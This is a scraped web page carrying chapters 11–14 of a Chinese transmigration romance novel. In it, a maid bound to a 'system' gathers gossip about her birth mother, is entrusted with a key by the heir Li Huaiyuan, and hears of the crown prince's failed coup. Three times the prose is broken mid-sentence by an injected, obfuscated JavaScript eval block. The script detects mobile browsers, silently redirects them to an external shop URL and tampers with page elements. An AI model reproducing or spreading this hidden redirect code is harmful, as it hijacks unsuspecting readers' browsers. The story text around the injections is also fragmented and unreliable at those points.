闻言他蓦地一笑,身体突然毫无预兆地向我靠近,以书册为戒,轻轻拍了下我的头,一股冷冽而静谧的雪松香在我鼻息之间蔓延开来。 “……”我一怔,立刻低下头遮掩住神色,思绪开始飞速旋转。这样意味不明的撩拨究竟是何意?是试探还是觉得有趣? 就在我百思不得其解的时候,头顶传来久违的总系统提示音。 “叮——已完成【进世子府】任务,狗血值增加10%。” “新任务:让李怀远彻底相信你爱慕他。” “……”好了,这下不用想了,他果然还是不信我。 突如其来的通知让我忘记了刚才的旖旎,于是找了个由头退出书房,蹲在墙根琢磨这事儿。 “你说那个组织,其实是故意耍我的吧?”我问系统。 明面上让我做任务,只要狗血值达到100%就能回到原来的世界。实际上所有的任务都在挖坑让我跳,一步步引导我自己也深陷狗血之事,久而久之,我被狗血侵蚀,思想发生改变,看狗血已不再狗血。 它这是要重塑我的三观……哦不,网文观啊! 所以就算我回得去,以后也不会再大放厥词,劈头盖脸地去批判这些千篇一律的狗血文。 高啊!实在是高。 “任务是绑定我时自动生成的,不属于人为操作,你这次穿书本来就是惩罚性质嘛,自然是要提取狗血事件让你亲历呀。” 我嘴一抽,难以想象后面还会有什么奇葩的任务,不会是什么我怀了李怀远的孩子,但因为他心里只有白月光,所以我心灰意冷远走高飞之类的吧。 系统鼓着腮帮子我打气:“别气馁!按这个进度,你只要再完成四次任务,就能积攒满100%的狗血值哇!” 它很兴奋,看得出确实是很想让我回去。 可话说回来,我该如何让李怀远相信呢?他这样的人,总瞧着心是空的,压根不在意旁人的情意。 就连静文公主与他的关系,京城即使传得言之凿凿,我也从没在府上见过任何相思的痕迹。 朔月当空,他会想念她吗? “哎,现在不是搞文艺的时候。”系统替我着急:“你先别管那个静文公主是不是李怀远的白月光,现在要紧的是,你要做一些爱慕他的事来。” 送香囊?逛灯会?洗手为君做羹汤……系统上窜下跳地给我出着主意,可听着都挺不合适的,被我一一否决。 好在我最终还是找到了一个表明心意的好方法。 这几日,我每夜都在院里的海棠树下坐半个时辰。这棵西府海棠树干粗壮,硕大无比,延伸的枝丫占据了大半个庭院的上空,满庭花影,馥郁幽香。 这是叶绥教我的。他告诉我,多吸收些月之精华与花之灵气,看见心爱之人自然就会含情脉脉,散发魅力,那人一看就能明白我的心意,进而被我吸引。 “这你都信?”系统深觉我们俩至少有一个人有病。 “不信啊。”我摇摇头,这件事重点其实不在于吸不吸月光,而在于我的这个行为会不会传到李怀远耳朵里,以及他会怎么想。 这件事越荒诞,就越能证明我对他的爱之虔诚,爱他爱得像得了失心疯,连吸收月之精华这种扯淡的事都愿意尝试。 不过我还没来得及展示几天爱意,陵光就先来告诉了我一件事情—— 三日后,秋弥国三皇子回都,李怀远将奉命相送。 那位三皇子自打朝贺宴以来,就一直流连忘返于大郅都城之内,完全不理会秋弥国内斗,今日听听小曲儿,明日赏赏雅集,真是好不快哉。 不过我转念一想,男主嘛,有什么不正常的行为举止都挺正常。 陵光又道:“世子说,让你准备准备,异日与他一同前往。” 什么! 我猛然睁大眼睛,似是想起了什么,系统也由方才的睡意朦胧,变得一骨碌跳了起来,屏幕狠狠地抖动了几下,显然是跟我想到了一块儿。 “这该不会是……” “片段二!”我抚了抚心神,道:“你、你快调出来书中这一段再看看,上次看过了书里不是没有我吗?” 系统连忙搜索“李怀远”,结果出来的还是那两段话。 我托着腮帮子看了又看,怎么都没有看出什么端倪,纵观全文,这里也算不上什么重点情节,就只是为了交代男主启程回都而已。 李怀远在里面的作用,充其量算个完成任务的NPC。而我,作为李怀远的侍从,就相当于是NPC的NPC,这样的角色好像确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时,一阵急促的马蹄声“哒哒”而来,距离驿亭还有几尺的距离时,一人从马背上翻身下来,“咻”地一下蹿到三皇子跟前,跪下失声痛哭。 “殿下,殿下……三皇子妃她、她……” “她怎么了!”三皇子脸色一变,急道。 “皇子妃殁了……” “你!说!什!么!” 众人倒吸一口凉气。 这里的情节我和系统都记得十分清楚,女主假死遁逃,男主发疯黑化,可谓书中的高潮部分,我们俩晚上蹲在榻边熬夜看了好几遍。 只见那三皇子连连往后退了好几步,脸上青一阵白一阵,摇着头嘴里嘀咕着什么,须臾又一把揪住送信斥候的领子,发疯般地撕扯着嗓子: “我不信!怎么可能……这不可能,不可能,她怎么会死……快,备马,给我备马!务必十五日内赶回国都!” 话音未落,一人一马便扬尘而去,贴身侍卫见状怔了一霎,随即驾了马急急去追。 留下一众奴仆和驿站的驿丞面面相觑。 这驿站大小官员在此恭候多时,给三皇子的临时下榻之处也收拾得富丽堂皇,谁知那位连看都没看上一眼,人就已经没影了。 仆役们抬着箱子僵在空中,不知是该继续往屋里抬,还是放回马车上去。 所有人都把目光看向李怀远,似乎在等他拿个主意。 良久,李怀远终于回过神来,慢悠悠说了一句:“十五日?他想十五日就横跨我大郅国土?是他疯了还是马疯了?” “……”又是马,马又没招你们。 12. 第 12 章 驿丞抹了把汗,讪讪道:“世子,您看……” 李怀远还沉浸在究竟是谁疯了的思索中,听见有人问话先是一愣,随即抱着臂道:“既然三皇子都走了,你们就该怎么就怎么吧,左右他也不会再回来。” 那头秋弥国使者听罢,致了歉行了礼,一众人又踩着秋后的黄叶,伴随着嘎吱嘎吱的车轮声继续上路了。 系统正托着它那个卡通脑袋看热闹,我点了点它脑门,发出了一声喟叹:“你觉不觉得,其实这书里的NPC既不是李怀远,也不是我们这些人。” “那是谁?” “三皇子啊!” “什么意思?” “难道你不觉得他才像个做任务的吗?一触碰到和女主有关的,就会开始通关模式。” 系统挠挠头:“好像是哦。” 其实这么说也不完全准确,大抵每个人都觉得别人像个NPC,而每个人也都是别人故事里的NPC。 就好比,在三皇子的主线世界里,李怀远于他而言只是个“大郅那统领”而已,至于他叫赵怀远还是苏怀远,穿的什么衣服,有什么伤心事,通通都不在三皇子的考虑范围之内。 而对于李怀远来说亦是如此,不管来大郅觐见的是二皇子还是三皇子,反正就是“那皇子”,跟他比一场武,然后送他一程,交集也就没了,想起他来最多感叹一句:“三皇子?就是那个,要么算术不太好,要么脑子不太好的人?” 系统听完我的分析,直愣愣地看着我:“说实话,我没怎么听懂。” “总之意思就是,这世界就是一个巨大的NPC套娃,你是我的NPC,我也是你的NPC,所以甭管别人说了什么做了什么,你都不要放在心上,因为他只是个NPC而已。” “那个,我感觉你说了句废话。” 我拢了拢袖口,回味了下,点点头:“好像是这样的。” 没有人做得到,可不就是废话么。 …… 回程由于是轻车快马,很快就到了京畿。 此处属于龙武山脚下绵延向北的一块平原,虽已入秋,却因居山北麓仍是绿草茵茵,远处的峡谷瀑布喷泄而下,流至此地,已变成蜿蜒柔和的小溪流。 一般到了夏日,不少贵胄富贾颇爱前来纳凉消暑,可入了秋之后再来摆宴的,却是不太常见。 偏叶绥就这么不走寻常路,见李怀远一行队伍往都城方向走,急忙手舞足蹈地朝路边喊:“世子!小叔!这里这里!” 李怀远闻言并不是很想搭理他,欲假装没听见,无奈叶绥的嗓门不是一般大,穿透力极强。 “来吃一杯茶呀小叔!” 李怀远勒住缰绳停下,好像是想起了什么事儿似的,突然调转马头,又将收尾的事情交代给了手下一个副将。 兴许是怕他再喊下去,山那边的人都要听见了,于是驾着马,不紧不慢地朝还在扬着手蹦蹦跶跶的叶小公子而去。 叶绥这流水宴就着此地的地势铺就而成,清流掩映,林木葱茏,小径四通八达,还有几处错落有致的亭阁。 最主要的是,还有数位袅娜娉婷的女子和舞姬散落各处,游船的,赏花的,奏乐的,真是花团锦簇好生热闹。 今日叶绥穿宝蓝色团花锦衣,上面点缀着白丝鹤,衬得他那张脸越发清贵。 周围满是杏脸桃腮的解语花们…李怀远着绛紫色官袍,登时往他们那群人跟前一站,显得十分格格不入。 他也没什么特别的表情,只是略有疑惑:“你在这里做什么?不嫌冷吗?” 叶绥折扇一收,大言不惭道:“自古逢秋悲寂寥,吾等在此处对秋当歌,吟诗作对,也不失为一种风雅啊。” “和一群风月女子?”李怀远挑挑眉,“嗤”了一声,也不知道是好气还是好笑。 “小叔你说的这是什么话,我叶小公子风流倜傥,一出门自然一呼百应。” 说着又朝我招手,“今禾姑娘,你也来呀。” 他刚煮了一壶上好的龙井,茶香四溢,硬要拉我入座,我只得客随主便,随便寻了个空位坐下,用了半盏茶。 就在我百无聊赖之际,突然听见身后一个叫春桃的姑娘朝对面那人说: “巧了么不是,妹妹你也是永州来的?” 我握住茶盏的手一抖,眼皮不由自主地跳了跳。 永州……好遥远的名字,远得像和我隔着一个纪元。 下意识用眼尾扫了眼不远处的李怀远,只见他领着叶绥往远处走,寻了个无人的地方在说话,这才轻呼了一口气。 隔着垂丝海棠,我听不清他们在低语些什么,只见李怀远表情十分严肃,而叶绥听罢则先是一惊,紧接着又连连点头。 扯回视线,我盯着杯盏边沿一圈又一圈的纹路发呆。 隔壁的人还在说着永州之事,我想想,当初离开永州是几岁来着?五岁?六岁?好像已记不大清了。 也不想记得太清。 正想着,那个叫春桃的姑娘声音又传到我耳朵里。 “妹妹以前是做什么营生的?看着不像干我们这行的。” 被问话的那人用永州话回道:“说什么营生,倒了天霉的,给知府大人做妾。” 春桃闻言似乎很是惊讶:“知府?哪个知府?是两年前被抄家流放的田家么?” 什么?被抄家了?眼眸一垂,我一点都不知道,自从到了上京我就很少再去打听永州那边的事情。 那姑娘剥了个橘子,边吃边骂:“还能有哪个知府,狗日的田豫,说什么家财给老娘分一半,结果全他娘的充公了。” “我记得是上面来人查了,人命官司和贪污罪数罪并罚,一家子全判流放了,你是怎么逃脱的?” “什么逃脱,老娘又不是他家人!” “哈哈哈哈哈。”其余人都被那姑娘给逗笑了。 春桃像是突然想起什么似的,用胳膊肘一怼那姑娘。 “哎,你知不知道那田家的嫡幼女?嗐,瞧我这脑子,你肯定知道的,当时可了不得呦,清高得很,从不拿正眼瞧咱们。” 又颇有几分落井下石的意味补充道:“哼,不知道她现在又在何处承欢呢,还傲不傲气了?” “还傲什么呀,指不定早就以色侍人了。”有人捏着帕子搭腔。 那永州同来的女子却是眉头微拧,“说来也怪,有人说她死了,也有人说她流放路上逃了,逃到了西南那边与秋弥国接壤的边镇上,据说被个贵人看上,领回秋弥国去嘞!” “哈哈哈,你可真会说笑,这怎么可能?” “嗐,我也是听旁人说的不是么,谁知道是不是哪个闲事佬瞎编排的。就像那卫仙娘,人死多少年了,不是照样还有人给她杜撰各种艳事么。” 另外一人道:“仙娘?听这个名字可是个绝色美人啊。” 春桃吃了块甜腻腻的桂花糕,忙道:“简直美得不像人间之物,十来年前,在我们永州一带也算是个传奇了,她可是田豫年轻那会儿第一任妾,说起来……” 说着捧腹大笑,对先前说话的那位永州女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204086|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子道:“你合该叫她声姐姐呢,哈哈哈哈哈。” 永州女子佯装怒道:“姐姐个屁,我可没那么黑心歪尖,连自己亲生骨肉都不放过。” 众人纷纷好奇:“她怎么了?” 春桃道:“嫌自己生了个不争气的女儿呗!自生下来就不管,任由她被嫡子嫡女欺辱打骂,后来见女儿慢慢长开了,出落得亭亭玉立的,又想拿自己闺女做买卖,卖给个皇商博前程。” “真是天杀的,那孩子当初才六七岁的年纪,唉,也不知道现在怎么样了,死了还是活着?” 众人一阵唏嘘。 我脊背一僵,牙关止不住地抖了几抖,方才还清香润泽的茶水瞬间变得苦涩了起来,系统落在我肩头,担忧地蹭了蹭我。 “她们说的那个女人,该不会就是你在这个世界上的……” 即使不通亲情如系统,大概也说不出“母亲”这二字来。那样的人,又怎配为人母…… 十八年前,永州知府之子田豫夜逛青楼,被娼妓引诱着行了苟且之事,后来那娼妓怀了身孕,死缠烂打,田豫只得把她纳入了府。 可惜生下来的不是儿子,就被田家遗弃在了荒芜的后院。她又偷偷溜回青楼招揽客人,誓要榜个更有权势的。 好在那个老知府通达,没有狠心把她的女儿赶出去。但这个女儿的存在,无疑是府里的耻辱。 那些嫡子嫡女,管家婆子,仆役随从,任谁都能将她捏扁搓圆。 后来那女人勾搭上一个姓赵的皇商,来了都城上京。她把女儿也从田府里偷了出来一同带走,不是舍不得,而是打算拿她换前程。 她给那个皇商保证女儿长大定是个美人胚子,过几年发卖给高官也好,去给他儿子当通房丫头也行,保证不赔本。 后来那女儿趁人不注意划伤自己的眉心,留了道丑陋的疤痕,这才避免被送去别处。 再后来没多久,就是钱王谋逆,皇商也被牵连,那女人在逃跑时被禁军一剑砍死。这些年来,永州那些关于她的风流艳迹,随着时间的流逝慢慢淡化,鲜少再有人问津。 我也…很久都没想起这个人了。 杯中茶尽,突然起了风,裹挟着官道上的砂石颗粒不小心钻进了我眼里,我使劲儿揉了揉,没揉出来,眼眶倒是越来越红肿了。 这时李怀远已经说完了话,朝我这头走来,我就坐在离拴马桩最近的地方,看见他三步并作两步地走来,赶紧理了理面容去给他牵马。 他接过缰绳,狐疑地盯着我:“你眼睛怎么了?” “回世子,奴婢不小心被风沙眯了眼。” “骗人,一看就是哭过了。”被他无情拆穿,我也没什么好说的。 他从怀里掏出来个崭新的帕子,眯着眼不轻不重道:“擦擦吧,哭得好丑,你这个人……就算这些女子都比你美,身材也比你姣好,也不必自行惭愧得哭鼻子吧。” “……”嘴巴真是一如既往地坏。 不等我张口,又轻轻一笑:“听着,每个人生来大抵就是不同的,不过,是个人都有自己的用武之地,你的过人之处不在此,但我是知道的。” 我似乎突然被什么东西定住,出神地望着他。 他身后是一望无际的绿荫草场,再之后是高山瀑布,层峦叠嶂,不知道是不是此地过于阔达的原因,被他这么一说,我心里也阔达了起来,噗嗤一笑: “世子,您到底是夸我还是损我?” “自然是夸了,听不出来吗?” “……”还真听不出来。 13.第 13 章 他骑着一匹马毛滑顺光亮、矫健有力的黑马走在前头,我牵了匹小棕马翻身上去,紧跟在后面。秋风带着缕缕凉意拂过他鬓边墨发,只听他道: “你什么时候学会骑马的?不是六七岁就……去了掖庭吗?”李怀远估计想说“被抄家”,又觉得不大合适,于是换了个说法。 “奴婢在掖庭时,曾在马厩里帮忙驯过几年马,久而久之就会骑了。” “你还会驯马?”他看我的眼神一亮。 我摸摸后脑勺:“自然不是太仆寺那种驯马了,只是公主贵人们一时兴起养的小马驹,一开始我也就干干刷马毛、喂草料之类的活,后来慢慢跟着驺人学的。” 李怀远意味不明地笑了笑,握紧缰绳道:“你倒是会得挺多……有没有兴趣和我比试比试,看谁先到城门口?” “这个……” “我走官道,你抄近道,这总行了吧?” 再说不行就有点不知好歹了,我闻言点点头。 李怀远一扬马鞭,“驾”地一声,马儿便飞快地向前跑去,他的话顺着风吹到我耳朵里:“城门口见!” 系统见我不动,疑惑道:“你不追上去吗?” 看着那抹风姿绰约的背影,我无语地抿了抿嘴:“幼稚。”说着骑上小棕马,优哉游哉地往北边而行。 “对了,方才李怀远和叶绥说什么呢?说得叶绥脸都白了几分。”我抬头看向系统。 系统翻了个白眼:“我说你把我当什么了,间谍吗?什么都叫我去偷听。” “你十八年都不出现,现在好不容易来了,我当然得利用得渣都不剩。” 话说系统虽然是绑定在我身上的,却能来去自如地飘动,之前我做过测试,只要是以我为圆心五十步之内的距离,它都可以自由行走。 一开始,我觉得这个功能也没什么大用,甚至可以说是完全没用,后来有一次,我在世子府躲叶绥的时候无意中发现,它能轻而易举地偷听别人讲话,而且绝对不会被发现。 从这开始,它就每日代我去廊下听韩先生讲学,再回来背给我听。因为它有着强大的存储空间,这简直比我自己去听效率还高,甚至还可以暂停和重复。 系统自己也乐此不疲,当然不是指听学,而是后院的仆役们闲来蹲在一处讲八卦时,它也蹲在人家中间,听得津津有味。 每每回来都给我说,哪个哪个又说你狐媚子勾引世子了。我每次都“哦”一声,丝毫不以为意。 但不管怎么说,它这个功能还是很好用的。 “你一定想不到李怀远说的什么?”系统坐在马背上,那个卡通脑袋背对着我。 我进了林间小道,让马儿不紧不慢地跑着:“什么?该不会是跟太子或者皇后有关吧?” “你你你……”系统猛地回头,张大嘴巴看我:“你要成精啊!” 我一笑:“不然上京还能有什么事,总不能是给叶绥讲了个鬼故事吧。” 系统道:“李怀远叫叶绥近日消停点,最好不要出门。” “为什么?” “他说陛下祭天在即,这一走,上京只怕是要乱套了。” 这事儿我知道,陛下秋后要东巡泰山,在山顶上举行祭祀大典,祈求大郅风调雨顺,万年昌盛。 “叶绥问他怎么个乱套法,李怀远说,怕是刀光血影,皇后和太子会有一场恶战。又告诉他胆敢在外面乱说一个字,就把他舌头割下来喂狗。” 难道真的有什么事要发生了? 走在护城河外围,我轻轻拂开垂下来的柳枝,心道,李怀远对叶绥倒是蛮好的,方才原本都直奔城中去了,却又专门绕了道来叮嘱他。 …… 晚些时候,李怀远召我去了主院。 其实我很少入夜后来李怀远的院子,没记错的话这应该是头一次,他向来不喜欢女使婆子进他卧房,倒不知今夜把我找来是何用意。 主院名为明德院,景观布置十分雅致,假山叠翠,绿竹青松,颇有几分江南园林的风韵,屋舍却布局规整,端方有序。 此时正厅有些昏暗,只有内室的案几上有微微昏黄的光亮,我身子一抖,靠在门把上没敢往进走,如此境地,怎么看都不像来说正事的。 黑暗中传来轻轻一声嘲笑,仿若是在笑我胆小,紧接着火折子一亮,一双棱骨分明的手又点了盏江心渔火的花灯,挂在榻柱上,看向我道: “还不过来。” 我背上冷汗岑岑,尽管不愿意朝那龌龊处想,可眼下这光景,怕是也没有别的可能了吧。 昏黄的光晕柔和地爬满李怀远棱角分明的侧脸,显得他整个人也柔柔的,少了些白日里的凌厉气息。 我鬼使神差地走了过去,刚张嘴叫了声:“世子……” 却突然烛火被阵冷风斩灭,一只宽厚的臂膀将我拦腰勾起,一个转身,便落在了床榻之上。 “嘘!有人。”他捂住我的嘴巴。 四周帷幔应声而落,松松地将我和李怀远包裹在里面,身上压着个坚实的胸膛,分不清是谁的心脏在“咚咚咚”的狂跳,满室的雪松香一股脑都浸入到我的鼻间和脑中。 此时,我向来引以为傲的脑子已经宕得只剩下嗡嗡嗡的声音了。 在原世界,我不是没有见过男女情爱之事,可这里到底是不一样的,不光是这十八年的礼教熏陶所致,更重要的是,这个人是李怀远。 他可是李怀远啊,我简直欲哭无泪。 就在这时,我耳边传来一道不太分明的声音,听不出是喜是怒:“别抖了,外面藏了人,耳力极佳,我长话短说。” “三日后,我将启程随陛下前往泰山祭天,听着,有人盯上了世子府,恐怕会趁我不在时潜进书房找东西。” “我今日找你来,就是要把钥匙交给你,你拿着它然后……你到底有没有在听我说话?” 我有些委屈:“你压到我头发了,好疼。” 李怀远尴尬地撤了手肘,继续压低了声音道:“我走之后,书房会落上锁,任何人不得进出。” “但主院有一处可以直通书房内室的地方,你每日午时来,检查一遍籍册书画是否都在原位,尤其是朝中往来信件,更要仔细留意,不能少了什么,也不能多了什么。” “还有一点至关重要的,待陛下携文武百官启程去泰山之后,你记住,千万不要出府,上京只怕是要大乱了。” “我不出,那如果别的人非要出去呢?我要负责拦下吗?” “放心,我已下令,祭天启程后,全府上下除了采办禁止外出。” “那您干嘛还要给我再说一遍……” “因为只有你不听话。” “……” 李怀远背对着月光,又隔着层层帷幔,我实在看不清他的神色。只见他毫不遮拦地在我耳边低声道:“太子很快就不是太子了,你切莫出府给我惹是生非。” “什么?!” 忽而阴云蔽月,只有廊檐下高悬的灯笼散发着幽幽亮光,我惊得心突突直跳。 “记下了没?” 我苦恼道:“记是记下了,可我们一定要这样叠在一起说话吗?” “废话,这几日皇后在各朝臣府上都安插了人,混在暗卫当中。” “那我刚才进来不是已经被看见了吗?” “看见就看见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204738|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我堂堂世子夜深难耐,抓个女婢来侍寝这还不正常吗?” 我面色难看:“怎么听起来你好猥琐……” 头顶的人一愣,随即低声斥道:“放肆。” 我连忙道:“回世子,我我我、我太紧张了,一紧张我就容易说胡话。” 闻言,他圈着我的手臂终于放开了,平躺在一旁,有些恨铁不成钢:“没出息。” 又道:“放心吧,没人会想到如此贵重之物会在一个女婢手上,你只要形色如常,就不会有人怀疑到你头上。” 我一看身体终于自由了,赶紧坐直了身子,擦了擦额头细汗,一副要哭了的样子。 “要不您换个奴婢吧,我是真的不行。” “什么不行?我看你精明得很,钥匙交给你我才放心。” 我不知道他是真的这么想,还是只是设了个圈套来试探我是谁的人,总之我道:“不是这个不行。” “那是什么?”李怀远也坐了起来,借着透进来的一点月光打量着我。旋即又揶揄道:“放心吧,不让你侍寝,就你这点肉,还不够我塞牙缝的。” “砰”一声,我的脑袋撞在了绑帷幔的柱子上。按理说我在原世界听到过的荤话,比这句话荤不知多少倍,都从来没脸红过,谁知道今日这是怎么了,“唰”一下子,就被李怀远三言两语点个正着。 好在周遭黑漆漆一片,他什么都看不见。我故作镇定道: “明面上您是找人来侍寝的,可这半天房里都没传出什么声响,难免要遭人猜忌。” 不等他说话,随即又道: “要不然这样吧,您一会儿摔两样不值钱的瓷器,大声叫奴婢滚出去,然后再换个姿色好的来,这样既显得真实,又……” 李怀远打断我,语气略带不虞:“你不是十分仰慕本世子吗?这么好的机会你不要?” “我向往柏拉图式的爱情。” “什么东西?” “就是……奴婢的意思是,世子于我来说,犹如出淤泥而不染的莲花,只可远观,不可亵玩焉。” 李怀远彻底无语了,扶了扶额:“你玩吧,恕你无罪。我只是不想大半夜的,闹得全府上下都以为我欲求不满,到处找女人。” “……” 既然话说到了这个份上,再推脱李怀远就该怀疑我的情意不坚了。 “那、需要我叫唤几声吗?” “你会吗?” “不会,但我可以学。”当惯了牛马,即使过了十八年,给领导画饼的话也是张口就来。 李怀远简直目瞪口呆,虽然看不清他的表情,但我感觉他快疯了:“你要跟谁学?我吗?你觉得我会叫?” “不是,您冷静点。”我抓了抓头发,思忖片刻。 然后抿着嘴拿起玉枕,有规律地撞了几下榻柱,又把手伸到幔帐外面,够到边几上的一壶热茶,咬着牙泼洒了一些在脚面上。 紧接着,一声惨叫响彻整个屋子。 “啊啊啊啊,世子饶命。”说完又拿着玉枕胡乱撞了几下,帷幔被摇得飘飘荡荡,在空中互相滑过,倒真像榻中在进行着一场缠绵悱恻的情事。 做完这一切,我面无表情地盘着腿坐回锦被上,在黑夜里伸出一只手来:“好了,钥匙给我吧。” 对面之人鸦雀无声,我好像听到了一块巨石裂出无数道痕,然后轰然倒塌的声音。 “世子?”我小心翼翼地叫了一声。 良久,久得天都快要亮了,黑暗中才传来一道幽幽的声音: “你这个女人太、太……”直到天色大亮,我利落地拿了钥匙跳下床,掩上院门,李怀远也没说出来我太怎么了。 14.第 14 章 系统侯在门口,意味深长地看了我一眼:“怎么样?” “什么怎么样?” “当然是李怀远啊。” 它还真是霸总文里待久了,看什么都有颜色,我敲了敲它的脑袋:“想什么呢?我们俩秉烛夜谈,从诗词歌赋聊到人生哲学。” 系统一脸“你看我信不信”的表情,我摊摊手,告诉了它实情。 闻言系统目瞪口呆,对李怀远的言辞感到不可思议:“不是吧,他、他……李怀远是不是要篡位啊?” 我白了它一眼,李怀远哪有那个本事。 “那是谁,皇后?”系统猜道:“如果是皇后所为,别说太子他的头衔不保,就怕连他的命都要玩没了。” 三日后,一众文武大臣跟着天家的轿辇,浩浩荡荡地向东而行。 谁不知陛下明面上是打着去泰山祭天的幌子,祈求四海升平,实则寻仙问药,妄图长生不老。 人就是这样,做官做到了最顶层,活也活的挺久了,便开始没事找事,非搅得一潭浑水才罢休,有那个空还不如管管太子和皇后。 这些日子,世子府闭门谢客,关了中门,只有每日的食蔬采买从后门进出。 府上倒也怡然自得,近日韩先生不曾来讲学,我便自己拾了些李怀远不要的书来看,荷华每日巳时闲来练沈云期的字,渐渐地竟有颜筋柳骨、行云流水之风。 亭台楼阁积了一层又一层的黄叶,霜降一过,晨起时便能见着庭院里的菊花皆染上一层白霜。 就这样恍恍惚惚地过去了一个月,月余之后,竟一语成谶。 直到满都城都将消息传了个遍,世子府的人才后知后觉——太子死了。 “什么!” “太子死了?!” “这怎么可能?谁传的消息,不想要脑袋了么?” “不信你出去打听,真真切切的事,连街乞小儿都知晓了。” 那是陛下出巡回朝的前一个晚上,禁军率先回城开路。经历了一场腥风血,街上变得安静寂寥,只听得到哒哒的马蹄声,一声一声扣人心头。 叶绥见禁军长驱直入,毫无阻碍地进了城门,又在宫门口照例换防,兴许是觉得没什么大事了,便急不可耐地跑到世子府来,与众人分说此事。 他是从后院翻墙进来的,来时一群人正围坐在一起烤火拉家常,叶绥也一屁股坐了下来,分食了旁边人的半个烤地瓜。 锦衣玉饰的贵公子和我们排排坐在一起,竟出奇地毫无违和感。 说实在的,我想不通叶绥大晚上跑别人家和一群下人烤火是什么心态,难道他家里还缺这几个仆役? 不过他确实挺受欢迎的。 他刚一落座,就有个棕色布衣的帮厨小哥赶紧道:“叶小公子,这外面到底发生什么事了,快给我们讲讲呗。” 火苗噼里啪啦地作响,有人拢了拢火堆,叶绥拿着根木棍有学有样地胡乱一戳,先卖了个关子。 “十日前的夜里,崇德大街上的狗吠声,孩啼声,厮杀声,声声入耳,不知诸位有没有听到?” 他这一问,自然有人说有,有人说无,一时间七嘴八舌热闹不已。 叶绥神秘一笑,这才娓娓道来。 听说太子趁陛下东巡时,集齐府兵在崇德大街制造纷乱调开禁军,自己则是带着亲随打算冲杀皇后的凤仪宫。 他料想着皇后当是没有防备的,于是打着“清除妖后”的旗帜,横冲直撞地冲进皇宫,势必要将皇后就地正法。 谁知前脚刚到后宫,没一刻的功夫,大批的禁军就将其团团围住了。 “禁军怎敢围合太子?”不知是谁惊呼一声。 “太子执剑闯宫,视同谋逆,不围堵难道还看着他继续作乱不成?”叶绥一副天下大事了然于胸的谋士语气,说道: “其实皇后早就对太子的计划了然于胸,提前放好了饵,就等着他上钩了。” 我心里突突一跳,心说这口没遮拦的傻孩子,竟然敢公然说这些。趁他正说得眉飞色舞,众人也听得聚精会神时,我悄然起身退了出去。 比起听八卦,还是明哲保身要紧。 刚到偏殿的拱门之下,从另一头过来的荷花一把将我扯进假山之后,示意我噤声。 荷华毕竟是老王府里出来的,心思一等一的深沉,自然也觉得这叶小公子太心无城府了些,但凡今日在座哪位起了歹心,告发他编排天家,他就是不脱层皮也要惹得一身骚。 “我们为何不回寝院,躲在这里做什么?” 荷华朝着来路一指:“那边有动静,应该是世子来了。” “那你不赶紧给他们通风报信,还由着他们乱说?” 闻言荷华一板一眼道:“有些人,就该长长记性。” 她向来是个板正端庄的性子,既不同大家胡闹,也不会与人私下结仇,怎么方才这话说的,倒像是跟谁过不去似的。 那头叶绥继续说道:“听闻那日皇后站在宫墙之上,一句‘乱臣贼子,尔等还不速速绞杀’,就将太子打入万劫不复之地。太子阵营某个将领一看这阵仗,即刻倒戈,为了邀功,便马不停蹄将太子拽下马,五花大绑奉于皇后。” “皇后命众将退下,她有话与太子说。谁知一转眼的功夫,只见巍峨宫墙,霎那间血溅三尺,众人仔细一瞧,这才发现太子已经倒地身亡。原来啊,是太子见事情败露,无言再见陛下,遂拔剑自刎了。” “可怜一国太子,竟连临终遗言都没能留下。” 话音刚落,就听后院的门“砰”地一声被人一脚踹开,那人声音冷若寒潭。 “一个个蠢货,是不是脑袋都不想要了?” 众人看清来人之后各个惊慌失措,齐齐跪倒在地:“世子饶命。” 我躲在假山背后的老树下,借着月光望去。只见李怀远风尘仆仆,眉眼尽显疲态,脸色极其不好,目光如炬地看着叶绥。 叶绥连忙收起舌头,捂住了自己的嘴巴,翻了墙利落地逃了,边逃还边喊道:“小叔,我错了,我以后再也不胡说了,你可千万别去找我爹。” 后院听热闹的一干人等全被狠狠地罚了一遍,我突然觉得李怀远也挺心累的,养着这么一大家子,谁说错了话办错了事都跟他脱不了干系。 不过既然李怀远回了上京,世子府自然就没理由再封下去,中门一开,人就得进进出出,这么一来,乌央乌央的消息就接二连三地往进拥。 外面的消息,和叶绥说的也都大差不差,想必真相也就如此了。 其实李怀远发怒,也只是避免府上聚众议论此事招来祸事,至于私下里交头接耳地传消息,也不是谁能控制得住的。 我听说太子死后第二日,消息就传了出来,一时间闹得满城风雨,一片哗然。 看来皇后压根也是没想瞒着。 又听闻陛下刚一回宫,众大臣就急急上谏,让陛下尽快过继宗世子,立储君以稳固朝政。众说纷纭,大殿之上吵得不可开交。 真是狡兔死,走狗哼,满朝文武竟无一人提及太子丧事该如何处置,都挤破了头地站队,这个推荐恭王,那个推荐燕王,估计皇上头都要大了。 我说李怀远怎么近日都称病不上朝,原来是谁的晦气也不想沾。 